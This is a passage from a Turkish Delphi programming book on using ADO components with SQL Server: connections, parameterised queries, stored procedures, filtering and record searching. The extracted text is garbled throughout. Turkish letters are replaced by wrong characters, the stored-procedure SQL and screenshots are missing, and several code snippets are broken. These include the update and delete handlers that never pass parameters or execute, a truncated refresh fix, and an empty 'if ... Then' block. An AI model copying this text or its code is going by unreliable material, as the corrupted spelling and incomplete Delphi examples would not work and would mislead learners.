yerlerde
programın
performansından (veya di÷er etkinliklerinden) ödün vermek zorunda
kalacaksınız. Güvenli÷i, performansı ve di÷er hususları maximum düzeye
çıkarabilmeniz için bu tür büyük ölçekli bir Veri Tabanı uygulamasıyla
çalıúmalısınız.Borland bu tür yazılımların lisansları çok yüksek ücret tutabildi÷i
için, network ortamında etkinli÷i artırmayı “InterBase” server kullanarak
halletmeye çalıúmıútır.
“SQL Server” veya “Oracle” kullanarak yazılım geliútirirseniz, programa daha
sonra müdahale etme úansınız olacaktır (ara yüze de÷il). Buda arayüzlerde hiç
bir de÷iúiklik yapmadan, eklenebilecek yeniliklere upgrate edilme úansını
do÷uracaktır. Ben de bugüne kadar yapmıú oldu÷um yazılımların ço÷unda “SQL
Server” ba÷lantısı kullandım.
“SQL Server” a “Access” ba÷lantısını yaptı÷ınız kontrollerle kolayca
ba÷lanabilirsiniz. Daha önce “Microsoft Access” a ba÷landı÷ımız “ADOTable”,
201
“ADOQuery” veya “ADOStoredProc” kontrollerinden herhangi bir tanesini
kullanabilirsiniz. “ADOTable” kontrolüne örnek yaptı÷ımız için bu sefer
“ADOQuery” kullanarak ba÷lantı sa÷layaca÷ız.
Bahsedilen ba÷lantı kontrollerinin tamamını örneklendirmekle beraber özellikle
“ADOStoredProc” kontrolüne daha detaylı olarak de÷inece÷im. Sebepleri
basittir. Birincisi Stored Procedur’ler ilk çalıútıkları anda bir kere derlenirler,
ikinci kez ça÷rıldıklarında sadece parametre gönderimi söz konusudur, tekrar
derlenme olmayacaktır. Peki bu ne demek, ikinci ça÷rılmada tekrar derlenme
olmayaca÷ı için network trafi÷i azalacak, kayıtlar daha hızlı bir úekilde
sorgulanacaktır. økinci önemli sebep ise “StoredProcedur” fonksiyonları çok
geliúmiútir (Query ler Standart SQL Komutlarını kullanabilmektedir), Standart
“SQL” komutlarının yanında, Bilgisayar dillerinin kullandı÷ı bir çok
fonksiyonuda içerisinde kullanabilmektedir. Bu yüzden iste÷inize uygun verileri
“Stored Procedur” ler ile çok daha rahat elde edebilirsiniz. Sanıyorum
bahsetti÷im bu olaylar, bu kontrolü kullanmanız için yeterli sebep teúkil
edecektir.
Uygulamaya geçmeden önce “SQL Server” uygulamasının çalıúır vaziyette
oldu÷unu kontrol ediniz. Bu iúlem için “Start->Programs->Microsoft
SQLServer->Service Manager” adımlarını izleyerek açaca÷ınız aúa÷ıdaki
pencereden (úayet çalıúmıyorsa) “Start” dü÷mesine basmanız yeterli olacaktır
(Hatırlatalım “SQL Server” ı çalıútırabilmeniz için yetkili bir grubun üyesi
olmanız gerekmektedir. Bu husus úu anki konumuz de÷il).
Bu pencere de “Server” kısmında “SQL Server” programının yüklü oldu÷u
bilgisayarın ismi, “Services” kısmın da ise çalıútıraca÷ınız servisin adı yazılı
halde bulunacaktır.
Adoconnection Kontrolünü Kullanarak SQL Server’a Ba÷lanmak:
“ADOQuery-ADOTable-ADOStoredProc” kontrolleri ile direk ba÷lantı yerine
“Adoconnection” kontrolü ile “SQL Server” veritabanına ba÷lanıp di÷er
202
kontrollere kayıtları buradan aktarırsanız uygulamanız daha derli toplu olacaktır.
Ba÷lantı iúlemi için aúa÷ıdaki adımları izlemelisiniz.
Birinci adım formunuza bir adet “Adoconnection” kontrolü yerleútirip,
“ConnectionString” özelli÷ine tıklayın. Aúa÷ıdaki pencere açılacaktır.
“Use Connection String” seçili iken “Build” dü÷mesine tıklayın.
Aúa÷ıdaki gibi ba÷lantı türünü seçebilece÷iniz pencere açılacaktır. Bu
pencerenin “Provider” yapra÷ından “Microsoft OLE DB Provider for
SQL Server” seçene÷ini seçerek “Connection” yapra÷ına geçin.
Connection yapra÷ına geçmek için “Next” dü÷mesine de basabilirsiniz
203
Bu pencerede “Select or a Server name” kısmından ba÷lanaca÷ınız
“SQL Server” makinesinin ismini seçin.
Aynı pencerede ikinci olarak “Select the database on the server”
kısmından bellirtti÷iniz bilgisayarın içerisinde oluúturmuú oldu÷unuz
tablonun bulundu÷u database i seçin.
“Test Connection” dü÷mesine basarak ba÷lantı iúleminin baúarılı bir
úekilde gerçekleúip gerçekleúmedi÷ini kontrol edin.
“OK” e tıklayın.
“OK” tıklayıp bitirin.
Bu adımlardan sonra “EFSANE” isimli bilgisayarda oluúturulmuú olan “gazi”
isimli database içerisindeki tüm tablolara “Adoconnection” kontrolü
kullanılarak eriúilebilir. Biz örneklerinmiz için bu database içerisinde “SERVIS”
isimli tablomuzu oluúturduk. Bu tabloya ba÷lanaca÷ız.
204
ADOQuery Kontrolü:
Bu kontrol sayesinde Microsoft veri tabanlarına Standart SQL sorgu komutlarını
kullanarak ba÷lanabilirsiniz. Direk komutları veri tabanına gönderebilece÷iniz
gibi “Adoconnection” kontrolüne ba÷lanarak ta sorgu oluúturabilirsiniz.
x ADOQuery1.Connection
Hangi veri tabanına ba÷lanılaca÷ını belirleyen özelli÷idir. ùayet ba÷lantı
iúleminde “Adoconnection” nesnesi kullandıysanız bu özellikte onu
belirtmelisiniz. Kodla veya “Object Inspector” penceresinden ayarlayabilirsiniz.
begin
ADOQuery1.Connection:=ADOConnection1;
end;
Bu kodlamadan sonra “Adoconnection” nesnesinin ba÷lantı sa÷ladı÷ı database
içerisindeki tüm tablo lar kolayca sorgulanabilir.
x ADOQuery1.SQL.Add
Tablolardan gösterilmesini istedi÷iniz sütunları ve kriterleri belirlemek için
oluúturaca÷ınız Standart SQL komutlarını aktarabilece÷iniz özelli÷idir.
begin
ADOQuery1.SQL.Add('Select * From SERVIS');
end;
x ADOQuery1.Active
Kayıtlara ulaúabilmek için sorgunuzu oluúturmanız yetmez. Sorgu komutlarınız
do÷ru bile olsa ardından “Active” özeli÷ine “true” de÷erini aktarmak
zorundasınız.
begin
ADOQuery1.SQL.Add('Select * From SERVIS');
ADOQuery1.Active:=TRUE;
end;
205
ADOQuery Kontrolüne Programdan Parametre Göndermek:
Sorgulama iúleminde dilerseniz (neredeyse hep böyle olacak) formunuzun
üzerinde bulunan kontrollerin de÷erinden de faydalanabilirsiniz. Kontroldeki
de÷eri “ADOQuery” kontrolünün “Parameters” methoduna aktarmanız yeterli
olacaktır.
x ADOQuery1.Parameters[].Value
Parametre olarak kullanaca÷ınız de÷eri aktaraca÷ınız methoddur. Köúeli pantez
içerisine parametrenin index (kaçıncı parametre oldu÷u) numarasını girmeniz
gerekmektedir.
//Edit e Göre Sorgula
begin
ADOQuery1.SQL.Clear;
ADOQuery1.SQL.Add('Select * From SERVIS Where
MAGAZAADI=:MAG');//bir adet parametre yaratıldı
ADOQuery1.Parameters[0].Value:=Edit1.Text;//ilk parametre de÷eri
ADOQuery1.Active:=TRUE;
end;
Programı çalıútırıp “Edit” kutusunun içerisine “MIGROS” de÷erini yazın.
Arkasından “Sorgula” isimli dü÷meye tıklayın. Sadece “MIGROS”
ma÷azalarının listelendi÷ini göreceksiniz. Bu uygulama için formunuzun üzerine
206
bir adet “DataSource” ve bir adette “DataGrid” nesnesi yerleútirip,
“DataSource” kontrolünün “DataSet” özelli÷ine “AdoQuery1” de÷erini
“DataGrid” nesnesinin “DataSource” özelli÷ine de “DataSource1” de÷erini
aktarmalısınız.
Unutmayınız Veri Tabanına ba÷lanıp kayıtları kontrollere aktardıktan sonraki
çalıúma, hepsi için aynı mantı÷ı içermektedir. SQL Server a, Access’a veya
Paradox’a sadece ba÷lantı úekilleri de÷iúik olacaktır. Ba÷lanıldıktan sonraki
çalıúma mantı÷ı neredeyse aynı denilebilecek kadar benzerdir.
ADOStoredProc Kontrolü:
Bu kontrol sayesinde “SQL Server” da oluúturulmuú olan Stored procedur lere
kolayca ba÷lanabilirsiniz. Söylemiútik Stored Procedur ler di÷er (Table,Query)
ba÷lantı kontrollerine göre daha hızlı sonuç verirler. Bu yüzden bir çok durumda
tercih sebebiniz olmalıdır.
Bu bölümde ilk olarak Stored Procedur leri “SQL Server” içerisinde nasıl
oluúturabilece÷inizi gösterece÷im. Daha sonrada program içerisinden “Stored
Procedur” lere nasıl parametre gönderebilece÷inizi izah edece÷im.
SQL Server’da Stored Procedure Oluúturmak:
Stored procedur’ler genellikle “SQL Server” içerisinde (veya Oracle’da)
oluúturulurlar. “SQL Server” programını yükledikten sonra “Start->Programs>Microsoft SQL Server->EnterPrise Manager” adımlarını izleyerek daha önce
içerisinde “gazi” database ini oluúturdu÷unuz pencerenin açılmasını sa÷layın.
207
Bu pencerede “Database” klasörü içerisinde oluúturmuú oldu÷unuz “gazi”
database inin solundaki “+” iúaretine tıklayarak içerisindeki di÷er yapıları
görüntüleyin. Buradaki “Tables ve Views” daha önce anlatmıú oldu÷umuz tablo
ve Query” ba÷lantıları için kullanılmaktadır. Biz Stored Procedure ba÷lantısı
gerçekleútirece÷imiz için “gazi” database i içerisinde yer alan “Stored
Procedures” seçene÷ini seçin. Sa÷ taraftaki beyaz ekranda mousun sa÷ tuúuna
tıklayıp açılan menüden “New Stored Procedure” seçene÷ini seçin. Aúa÷ıdaki
pencere açılacaktır. Stored Procedure kodlarını buradaki beyaz pencere içerisine
yazmalısınız.
ùimdi parametre içermeyen ilk basit “Stored Procedur” kodlarını yazıp Delphi
içerisinden ba÷lantı iúlemini gerçekleútirelim. Beyaz ekrandaki kodu aúa÷ıdaki
úekilde de÷iútirin.
“OK” dü÷mesine basın “Stored Procedur” ünüz beyaz ekranda “ilkornek”
ismiyle kaydedilecektir (kontrol edin).
208
Stored Procedur’e ait kodu yazdıktan sonra “Check Syntax” dü÷mesine basarak
kodda bir hata olup olmadı÷ını kontrol ettirin. ùayet dü÷meye bastıktan sonra
aúa÷ıdaki úekilde “Syntax check successful!” uyarısıyla karúılaúırsanız
yazdı÷ınız kodda bir hata oluúmadı÷ını düúünebilirsiniz.
Yazdı÷ımız “Stored Procedur” e ait kodlamada iki adet sütun oluúturulmakta
(çok basit oldu÷unu belirteyim. Daha sonra kodları zorlaútıraca÷ım), birinci
“MAGAZAADI” sütunu, ikincisi ise aynı sütunun küçük harfle yazılmıú hali
olacaktır.
Delphi øçerisinden Stored Procedur’lere Ulaúmak:
“SQL Server” içerisinde oluúturmuú oldu÷unuz Stored Procedur’e ulaúmak hiç
te zor de÷il, aúa÷ıdaki adımları izlemeniz yeterli olacaktır.
Birinci adımda formunuzun üzerine bir adet “Adoconnection” kontolü
yerleútirip “Connection String” özelli÷ine daha önce anlattı÷ımız úekilde
“gazi” database ini aktarın.
økinci adımda formunuza “ADO” yapra÷ında yer alan “ADOStoredProc”
kontrolünden bir adet sürükleyin. Bu kontrole ait di÷er ayarları kod
penceresinden yapaca÷ız. østerseniz “Object Inspector” penceresinide
kullanabilirsiniz.
Üçüncü adımda formunuza bir adet “DataSource” nesnesi yerleútirip
“DataSet” özelli÷ine “ADOStoredProc1” kontrolünü aktarın.
209
Dördüncü adımda formunuza bir adet “DataGrid” nesnesi yerleútirerek
“DataSource” özelli÷ine “DataSource1” kontrolünü atayın. En son
tasarım görüntünüzün aúa÷ıdaki úekilde oluúması gerekecektir.
Son olarak aúa÷ıdaki kod blo÷unu formunuzun “OnCreate” yordamına
eklemelisiniz.
begin
ADOStoredProc1.Connection:=ADOConnection1;//kaynak
ADOStoredProc1.ProcedureName:='ilkornek';//ba÷lanılacak olan prosedür
ADOStoredProc1.Active:=true;//unutmayın
end;
Artık programınızıçalıútırabilirsiniz. Programı çalıúturdıktan sonra aúa÷ıdaki
úekilde bir ekran görüntünüzün oluúması gerekecektir.
Görüldü÷ü gibi Stored procedur içerisinde yazdı÷ımız kodlar sonucu
“MAGAZAADI” sütunu ile, küçük harfe çevrilmiú halini görüntüleyebildik.
210
Parametre øçeren Stored Procedure Oluúturmak:
“EnterPrise Manager” penceresinde “gazi” isimli database içerisinde bulunan
“Stored Procedure” satırına mous sa÷ tuúu ile tıklayıp “New Stored Procedure”
penceresini açtırın.
Bu pencereye yukarıdaki kodu ekleyiniz. Dikkat edin prosedürün ismi “para”
parametreside “@magaza” olarak belirlenmiútir. ùimdi Delphi içerisinden
“para” isimli “Stored Procedure” ba÷lanarak “@magaza” isimli parametreye
de÷er gönderece÷iz. Bu sayede projede belirtti÷imiz ma÷aza ismine ait servisleri
listelemiú olaca÷ız.
Programdan Stored Procedur’e Parametre De÷eri Göndermek:
Bu bölümde “SQL Server” içerisinde oluúturmuú oldu÷unuz parametre içeren
“Stored Procedur” e programdan nasıl parametre de÷eri gönderebilece÷inizi
gösterece÷im. Yukarıda oluúturmuú oldu÷umz “Stored Procedur”e ba÷lanarak
örnek üzerinde bu iúlemi sizlere göstermek istiyorum.
Birinci adımda formunuza bir adet “AdoConnection” kontrolü yerleútirip
“gazi” isimli database ba÷lanın.
økinci adımda formunuza bir adet “ADOStoredProc” kontrolü yerleútirip
“Object
Inspector”
penceresinden
“Connection”
özelli÷ine
“Adoconnection1” kontrolünü, “Procedure Name” özelli÷ine de “para”
isimli “Stored Procedur” ünüzü aktarın.
211
Üçüncü adımda formunuza bir adet “DataSource” nesnesi yerleútirerek
“DataSet” özelli÷ine “ADOStoredProc1” kontrolünü aktarın.
Dördüncü adımda formunuza bie adet “DataGrid” nesnesi yerleútirerek
“DataSource” özelli÷ine “DataSource1” kontrolünü aktarın.
Son olarak formunuza bir adet “Edit” ve bir adet “Button” kontrolü
yerleútirip aúa÷ıdaki tasarımı oluúturunuz.
Aúa÷ıdaki kod blo÷unu “Button” kontrolünün “OnClick” yordamına
ekleyiniz.
begin
ADOStoredProc1.Parameters.ParamByName('@magaza').Value:=Edit1.Text;
ADOStoredProc1.ExecProc;
ADOStoredProc1.Active:=true;
end;
Artık programınızı çalıútırabilirsiniz. “Edit” kontrolüne girece÷iniz ma÷azaya
yapılmıú olan servisler listelenecektir.
Burada dikkatinizi çekmek istedi÷im bir husus olacak, yukarıdaki uygulamayı
çalıútırdı÷ınız zaman birinci seferde yazmıú oldu÷unuz ma÷aza ismini kolayca
listeletebilirsiniz. økinci kez baúka bir parametre yazıp “Gönder” isimli dü÷meye
tıklarsanız kayıtlarınızın de÷iúmedi÷ini göreceksiniz. Aslında Stored Procedur’e
parametre de÷eri gönderilip sonuç bulunmuútur, fakat güncelleme iúlemi
yapılamamıútır(genellikle DBGrid1.refresh komutunun bu iúlemi halledece÷i
düúünülsede bu do÷ru de÷ildir. Yeniden oluúturulan sorguya ba÷lanmak
gerekecektir). Bu yüzden kodunuzu aúa÷ıdaki úekilde de÷iútirmeniz
gerekecektir.
212
begin
ADOStoredProc1.Active:=FALSE;
ADOStoredProc1.Prepared;
end;
ùimdi istedi÷iniz parametreleri girip projenizi çalıútırabilirsiniz. Her defasında
farklı ma÷aza isimleri listelenecektir.
øleri Düzey Stored Procedur Uygulamaları:
Yavaú yavaú dozajı artırarak (yazmıú oldu÷um programların yanında bunlar
çocuk oyunca÷ı kalacak ama, henüz piyasa tecrübesi olmayan programcılar için
çok güzel bir geçiú aúaması olacak) geliúmiú “Stored Procedure” örnekleri
yapaca÷ım. Aúa÷ıdaki örnekler için hep aynı tasarımı kullanaca÷ız. Her
defasında bu iúlem anlatılmayacaktır.
Stored Procedur Kullanarak Kayıtları De÷iútirmek:
ùimdiki uygulamamızda “Stored Procudur” e parametre de÷eri göndererek
istedi÷imiz ma÷aza ismine yeni isim verebilece÷iz. Yapılan iúlemin sadece
parametre göndermek oldu÷u kodlamadan dikkatinizi çekmiútir sanırım.
Yazaca÷ınız çok geliúmiú “Stored Procedur” leri bu úekilde sadece parametre
göndererek çalıútırmanız performansınızı maximum de÷ere taúıyacaktır.
Aúa÷ıdaki “Stored Prosedur” içerisinde, gönderilen iki parametre de÷eri
sayesinde (bu parametre de÷erleri forma yerleútirilen iki adet Edit kontrolünden
belirlenmektedir) ma÷aza ismi de÷iútirilmekte ikinci parametre de÷eri yeni
ma÷aza ismi olmaktadır.
213
ùimdi verece÷imiz “Stored Procedur”ü “SQL Server” içerisinde daha önce
gösterilen adımları izleyerek oluúturunuz.
“Stored Procedur” kodlarını inceleyecek olursak, ismi “degistir” olarak
belirlenmiútir. Ardından “@oncekideger” ile “@yenideger” isminde iki adet
parametre tanımlaması yapılmıútır. Birinci parametre de÷erini programdaki
“Edit1” kontrolünden, ikinci parametrede “Edit2” kontrolünden alacaktır.
Birinci parametreyle gönderilen ma÷aza ismine sahip tüm ma÷azalar, ikinci
parametredeki de÷er ile de÷iútirilip, yeni tablo komple listelenmek istenmiútir.
Programı çalıútırdıktan sonra “De÷iútir” isimli dü÷meye basarsanız, Tüm
214
“BAKKALIM” ma÷azaları “SOK” olarak de÷iúip listelenecektir. Programa ait
kod blo÷u aúa÷ıda verilmiútir.
//De÷iútir
begin
ADOStoredProc1.Active:=false;
ADOStoredProc1.Parameters.ParamByName('@oncekideger').Value:=Edit1.Text;
ADOStoredProc1.Parameters.ParamByName('@yenideger').Value:=Edit2.Text;
end;
Stored Procedur Kullanarak Kayıt Silmek:
ùimdiki uygulamamızda “Stored Procedur” e gönderece÷imiz parametreye uyan
ma÷aza isimlerini tablodan silme iúlemini gerçekleútirece÷iz. Aúa÷ıdaki “Stored
Procedur” ü “SQL Server” içerisinde oluúturunuz.
Prosedürün ismi “sil” silinecek ma÷aza ismini gönderece÷iniz parametrenin
ismide “@magaza” olarak belirlenmiútir. Kritere uyan kayıtlar silindikten sonra
tüm tablonun tekrar listelenmesi için yeni SQL komutu çalıútırılmaktadır.
Hatırlatalım bu tür toplu de÷iútirme ve silme iúlemlerinde “Transaction”
kullanmak veri güvenli÷ini önemli ölçüde artıracaktır (Bu husus daha önceki
bölümlerde anlatlıdı. SQL Server içerisindende yaptırabilirsiniz).
215
Uygulama için formunuza bir adet “AdoConnection”, bir Adet
“ADOStoredProc”, bir adet “DataSource”, bir adet “DbGrid”, bir adet “Edit”
ve bir adet Button yerleútirip gerekli ba÷lantıları önceki örnekte oldu÷u gibi
yapınız.
//Sil
begin
ADOStoredProc1.Connection:=ADOConnection1;
end;
Programı çalıútırıp “Edit” kontrolüne ma÷aza ismini girin. Ardından Button
kontrolüne tıklayabilirsiniz. Yazdı÷ınız ma÷aza isminin silindi÷ini göreceksiniz.
Aslında kodu aúa÷ıdaki úekilde yazmanız daha güvenli olacaktır.
//Sil
var
mesaj:Integer;
begin
mesaj:=Application.MessageBox('Eminmisiniz','Sil',MB_YESNO+MB_ICONS
TOP);
if mesaj=mrYes Then
begin
ADOStoredProc1.Connection:=ADOConnection1;
216
ShowMessage('Kayıtlar Baúarıyla Silindi');
End
else
begin
end;
end;
Bu sefer kullanıcıdan
gerçekleúecektir.
onay
alındıktan
sonra
kayıt
silinme
iúlemi
Stored Procedure øle Hesaplanan De÷erleri De÷iúkenlere Aktarmak:
Aúa÷ıdaki “Stored Procedure” içerisinde “FATURATUTARI” sütununa ait
toplam hesaplanmaktadır, peki hesaplanan bu de÷eri form üzerindeki
kontrollerde nasıl gösterece÷iz. Aúa÷ıda bu husus örneklendirilmektedir.
Öncelikle verilen “Stored Procedur” ü “SQL Server” içerisinde oluúturunuz.
Ardından formunuzun üzerine “AdoConnection”, ”AdoStoredProc”,
”DataSource”, “Panel ve Button Kontrollerini yerleútirerek aúa÷ıdaki tasarımı
oluúturunuz.
217
Panel kontrolü formun estetik görünümü için eklenmiútir. Sizde
uygulamalarınızda güzel görünüm elde etmek için aúırıya kaçmamak úartıyla bu
kontrollerden yararlanınız.
Forma ekledi÷iniz kontroller için gerekli ba÷lantıları yapın (ADOStoredProc
kontrolünü “toplam” isimli prosedüre ba÷layın).
Aúa÷ıdaki kodlarıda “Unit” pencerenize ekleyiniz.
//Sütun Toplamını Yazdır
var
yeni:TDBEdit;
begin
yeni:=TDBEdit.Create(Form7);//yarat
yeni.DataSource:=DataSource1;
yeni.DataField:='COLUMN1';//ilk kolon
Form7.Caption:='Toplam Fatura Tutarı='+yeni.Text;
end;
Programı çalıútırdıktan sonra “Hesapla” isimli dü÷meye tıklarsanız yukarıdaki
pencere
görüntüsüne
ulaúırsınız.
Baúlıkta
yazan
de÷er
“SUM(FATURATUTARI” sütünu için hesaplanan de÷erdir.
218
Stored Procedure Fonksiyonları:
ùimdi sizlere “SQL Server” da “Stored Procedure”
kullanabilece÷iniz extra komutları vermek istiyorum.
oluútururken
String Fonksiyonları:
String iúlemlerini yapabilmek için kullanabilece÷iniz fonksiyonlar aúa÷ıda
verilmiútir.
Fonksiyon Adı:
øúlem
ASCII
Belirtilen sütun de÷erinin Ascii de÷erini verir
CHAR
Belirtilen sütun de÷erinin karakter karúılı÷ını verir
LEFT
Belirtilen sütun içeri÷inin solundan n karakteri alır.
LEN
Belirtilen sütunun kaç karakterden oluútu÷unu bulur
LOWER
Belirtilen sütun de÷erini küçük harfe çevirir.
LTRIM
Belirtilen sütundaki sol boúlukları atar
REPLACE
Belirtilen sütun içerisindeki stringlerin yerini de÷iútirir
RIGHT
Belirtilen sütun içeri÷inin sa÷ından n karakteri söker
RTRIM
Belirtilen sütundaki sa÷ boúlukları atar
SPACE
Belirtilen sayıda boúluk oluúturmak için kullanılır
SUBSTRING
Belirtilen sütun içerisinden parça sökmek için kullanılır
Matematiksel Fonksiyonlar:
Stored Procedur’ler içerisinde matematiksel hesaplar için kullanabilece÷iniz
fonksiyonlar aúa÷ıda verilmiútir.
Fonksiyon Adı:
øúlem
ABS
Belirtilen sütundaki de÷eri pozitife çevirir
CEILING
Belirtilen sütun de÷erini bir üst tamsayıya yuvarlar
DEGRESS
Belirtilen sütun de÷erini dereceye çevirir.
FLOOR
Belirtilen sütun de÷erini bir alt tam sayıyayuvarlar
POWER
Belirtilen sütun de÷eriniN kuvvetini almak için kullanılır.
RAND
0-1 Arasında rasgele sayı üretmek için kullanılır.
SQUARE
Kare almak için kullanılır
SQRT
Karekök almak için kulanılan komuttur.
Tarih-Zaman Fonksiyonları:
Tarih-Zaman iúlemlerini gerçekleútirebilmek için aúa÷ıdaki fonksiyonları
kullanabilirsiniz.
Fonksiyon Adı:
øúlem
DATEADD
Tarihe gün eklemek için kullanılır
GETDATE
Aktif tarihi hesaplar
DAY
Gün sayısını bulur
MONTH
Tarih içerisindeki ay sayısını bulur.
YEAR
Belirtilen tarih içerisindeki yıl sayısını hesaplar
219
ADODataSet Kontrolü:
Tablo bilgilerini form kontrollerinin kullanabilmesi, kayıtları “DataSource”
nesnesine aktarmak için kullanılan kontroldür. Table, Query kontrollerine
benzer özellikler taúımaktadır. Direk tabloya ba÷lanabilece÷i gibi
“Adoconnection” nesnesi aracılı÷ıyla da tabloya ba÷lanabilir.
x ADODataSet1.Connection
Tabloya aracı kullanarak ba÷lanmak istenirse bu özelli÷e “AdoConnection”
nesnesinin ismi aktarılmalıdır.
begin
ADODataSet1.Connection :=ADOConnection1;
end;
x ADODataSet1.CommandText
Tabloyu sorgulayacak olan “SQL” komutları bu özelli÷e aktarılmalıdır.
begin
ADODataSet1.CommandText:='Select FATURATUTARI From SERVIS';
end;
x ADODataSet1.First
ADODataSet kontrolünde yer alan kayıtlar içerisinde ilk kayıda gitmeyi
sa÷layan methoddur.
//ilk kayıt
begin
ADODataSet1.First;
end;
220
x ADODataSet1.Next;
Kayıtlar içerisinde bir sonraki kayda geçmeyi sa÷layan methoddur.
begin
ADODataSet1.Next;
end;
x ADODataSet1.Prior
Bir önceki kayda geçmek için kullanılan methoddur.
begin
ADODataSet1.Prior;
end;
x ADODataSet1.Last
Son kayda eriúmek için kullanılan methoddur.
begin
ADODataSet1.Last ;
end;
ùimdi bir örnek yapalım. Örne÷imiz için “FATURATUTARI” sütununu
kullanaca÷ız. Yapaca÷ımız iúlem “ListBox1” kontrolünde “ADODataSet”
kontrolünü kullanarak tüm sütunu yazdırmak. “ListBox2” ye ise ilk sütundaki
de÷erlerin kümülatif toplamını aldırarak yazdırmak olacaktır.
Örne÷imiz için formunuzun üzerine bir adet “Adoconnection” nesnesi
yerleútirip “SQL Server” da oluúturdu÷umuz “gazi” isimli database e
ba÷layınız.
økinci adımda formun üzerine bir adet “ADODataSet” kontrolü
yerleútirin.
Üçüncü adımda yine formunuzun üzerine iki adet ListBox ekleyip
aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz.
221
var
miktar:Currency;
ilk,son:AnsiString;
begin
miktar:=0;
ADODataSet1.Connection:=ADOConnection1;
ADODataSet1.Open;
ADODataSet1.First;//ilk kayda git
while not ADODataSet1.Eof do //sonuna kadar oku
begin
miktar:=miktar+ADODataSet1.Fields[0].Value;//ilk sütun de÷erini ekle
ilk:=FloatToStrF(ADODataSet1.Fields[0].Value,ffCurrency,14,0);
ListBox1.Items.Add(ilk);
son:=FloatToStrF(miktar,ffCurrency,14,0);//formatla
ListBox2.Items.Add(son);//ekle
ADODataSet1.Next;//Sonraki kayda geç
end;
end;
øki sütunu dikkatlice inceleyecek olursanız, birinci listedeki satırlar birbirlerine
eklenerek ikinci sütuna yazdırılmaktadır.
“BDE” kontrollerinden “Table” veya “Query” kontrolüyle bir çok özelli÷i
benzeúmektedir. Aynı mantıkla kullanabilirsiniz.
222
ADODataSet Kontrolü øle Kayıt øúlemleri:
“BDE” Kontrollerinde yapmıú oldu÷unuz kayıt iúlemlerine çok benzer bir
mantıkla “ADODataSet” kontrolünü kullanarak kayıt iúlemlerinizi
yaptırabilirsiniz. Aúa÷ıda bu husus örnek üzerinde açıklanmaktadır.
Birinci adımda formunuzun üzerine bir adet “Adoconnection” kontrolü
yerleútirip “ConnectionString” özelli÷ine SQL Server’ da daha önce
yaratmıú bulundu÷umuz “gazi” isimli database i gösterin.
økinci adımda formunuza bir adet “ADODataSet” kontrolü yerleútirin.
Üçüncü adımda formunuza bir adet “DataSource” nesnesi yerleútirip
“DataSet” özelli÷ine “ADODataSet” kontrolünü atayın.
Dördüncü adımda formunuza bir adet “DBGrid” ile bir adet
”DBNavigator” kontrolü yerleútirin. Ardında bu iki kontrolün
“DataSource” özelliklerine “DataSource1” de÷erini aktarın. En son
tasarım anınız aúa÷ıdaki úekilde oluúmalıdır.
Aúa÷ıdaki kod satırlarınıda
“Unit”
pencerenize
ekleyip
uygulamanızı
begin
ADODataSet1.Connection:=ADOConnection1;
ADODataSet1.CommandText:='Select * From SERVIS';
ADODataSet1.Open;
end;
Dilerseniz yukarıdaki kod penceresinde yer alan satırları “Object Inspector”
penceresinden de ayarlayabilirsiniz. Biz butür iúlemleri her zaman kodla
yapmanızı tavsiye ediyoruz.
223
ProgramIN çalıútıktan sonraki ekran görüntüsü aúa÷ıdaki úekilde oluúacaktır.
“DBNavigator” kontrolündeki dü÷melerle “BDE” Kontrollerinde yapmıú
oldu÷unuz tüm iúlemleri aynen uygulayabilirsiniz.
Yukarıdaki görüntüde parasal de÷erleri formatlı úekilde göstermek isterseniz
kodunuzu aúa÷ıdaki úekilde de÷iútirmelisiniz.
Hatırlatalım “ADODataSet” kontrolüne ait ba÷lantı iúlemi “Object Inspector”
penceresinden yapıldı (Connection ile CommandText özellikleri). Ayrıca
“ADODataSet” kontrolü üzerinde mousun saö tuúuna tıklayıp “Fields Editor”ü
seçin. Son olarak beyaz ekranda “Add All Fields” yaparak tüm sutunların
eklenmesini sa÷layın.
begin
ADODataSet1FATURATUTARI.DisplayFormat:='###,###,### TL';
ADODataSet1.Open;
end;
Dilerseniz “DisplayFormat” özelli÷ini “Object Inspector” penceresinden de
de÷iútirebilirsiniz.
224
ADODataSet Kullanarak Kayıtları Filtrelemek:
Kaynak olarak “ADODataSet” kullandı÷ınız zaman “BDE” kontrollerinde
yaptı÷ınız gibi filtreleme ve kayıt arama iúlemlerini yapmanız mümkündür.
Aúa÷ıda “MAGAZAADI” sütununa göre kayıtlar filtrelenmekte, filtre için
parametre “Edit1” kontrolünden yollanmaktadır.
//Filtrele
begin
ADODataSet1.Filtered:=true;
ADODataSet1.Filter:='MAGAZAADI='+QuotedStr(Edit1.Text);
end;
Var olan filtreyi iptal etmek için aúa÷ıdaki kod satırını kullanabilirsiniz.
//Filtreyi øptal Et
begin
ADODataSet1.Filtered:=False;
end;
ADODataSet Kullanarak Kayıt Arama øúlemleri:
“ADODataSet” kontrolü kullanarak Microsoft Veri Tabanlarına ba÷lanırsanız
aúa÷ıda izah edece÷im úekilde kayıt arama iúlemlerini gerçekleútirebilirsiniz.
Burada izeleyece÷iniz yol “BDE” Kontrollerindekinden pek farklı olmayacaktır.
225
ADODataSet1.Locate Methodu:
Kaynak olarak “ADODataSet” kontrolünün kullanılması durumunda “Locate”
methoduyla kayıt arama iúlemlerini gerçekleútirebilirsiniz. Aúa÷ıda bu husus
örneklendirilmiútir.
//Kayıt Bul
var
ara:Boolean;
begin
ara:=ADODataSet1.Locate('MAGAZAADI',Edit1.Text,[]);
if ara=false Then
ShowMessage('Aradı÷ınız Kayda Ulaúılamadı');
end;
Örnekte kullanılan “Boolean” tip de÷iúken kaydın bulunamaması durumunda
“false” de÷eri, bulunması durumunda da “true” de÷erini alacaktır. ùayet kodu
“Enter” tuúuyla tetiklemek isterseniz o zaman “KeyPress” yordamına aúa÷ıdaki
úekilde bir kod blo÷u eklemelisiniz.
var
ara:Boolean;
begin
if Key=#13 Then//Enter tuúuna basarsa
begin
ara:=ADODataSet1.Locate('MAGAZAADI',Edit1.Text,[]);
if ara=false Then
end;
end;
ùayet küçük-büyük harf duyarlı÷ı olmasını istemiyorsanız, aynen “BDE”
kontrollerinde oldu÷u gibi üçüncü parametreye de÷er aktarmalısınız. Kodu
aúa÷ıdaki úekilde de÷iútiriniz.
var
ara:Boolean;
begin
if Key=#13 Then
226
begin
ara:=ADODataSet1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]);
//küçük-büyük harfe duyarlı olma
if ara=false Then
end;
end;
ADODataSet Kontrolü Kullanarak Master/Detail Form Oluúturmak:
Aúa÷ıdaki iki tabloyu SQL Server içerisinde oluúturarak, iliúkili tablolarda
